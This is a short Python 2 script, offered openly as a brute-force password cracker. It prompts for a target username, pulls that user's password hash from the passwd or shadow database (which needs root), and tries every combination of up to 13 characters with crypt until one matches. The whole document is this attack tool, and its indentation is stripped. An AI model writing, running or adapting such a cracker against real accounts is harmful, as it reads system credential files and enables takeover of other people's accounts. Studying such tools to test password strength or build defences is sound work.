#!/usr/bin/python
import crypt, getpass, pwd, spwd, sys, string
# Integer values for most characters
easyRange = [32,33,36,42,43] + range(48, 58) + range(65, 91) + range(97, 123)
# Integer values for all characters.
fullRange = range(32,127)
def brute(username):
def checkPassword(password):
if crypt.crypt(password, cryptedpasswd) == cryptedpasswd:
print "Match [" + password + "]"
def recurse(width, position, baseString):
#current position
for char in easyRange:
if (position < width - 1):
recurse(width, position + 1, baseString + "%c" % char)
checkPassword(baseString + "%c" % char)
# Retrieve the encrypted password for 'username'
print '\n\n{0}'.format('Searching database for "%s".\n' % username)
try:
cryptedpasswd = pwd.getpwnam(username)[1]
except:
print '{0}\n{1}'.format('User "%s" doesn\'t seem to exist.' % username,\
'Please make sure you have the right username and try again.')
sys.exit()
if cryptedpasswd:
# Check if the encrypted password is a shadow password
if cryptedpasswd == 'x' or cryptedpasswd == '*':
print '{0}\n{1}\n'.format('"%s\'s" password seems to be in the shadow database.' % username,
'Searching shadow database for "%s".' % username)
try:
cryptedpasswd = spwd.getspnam(username)[1]
except:
print '{0}\n\n{1}'.format('The account you have specified has a shadow password.',\
'Please try again with root privileges.')
sys.exit()
print '\n{0:*^80}\n{1:*^80}\n\n'.format('[+] Encrypted password found! [+]',\
'[~] Starting the bruteforce engine. [~]')
maxChars = 13
for baseWidth in range(1, maxChars + 1):
print '{0}{1}{2}'.format('Checking all possible passwords with the width of [',\
baseWidth, ']')
recurse(baseWidth, 0, "")
if __name__ == '__main__':
print 'Please enter the name of the user you would like to target.'
brute(raw_input('Username: '))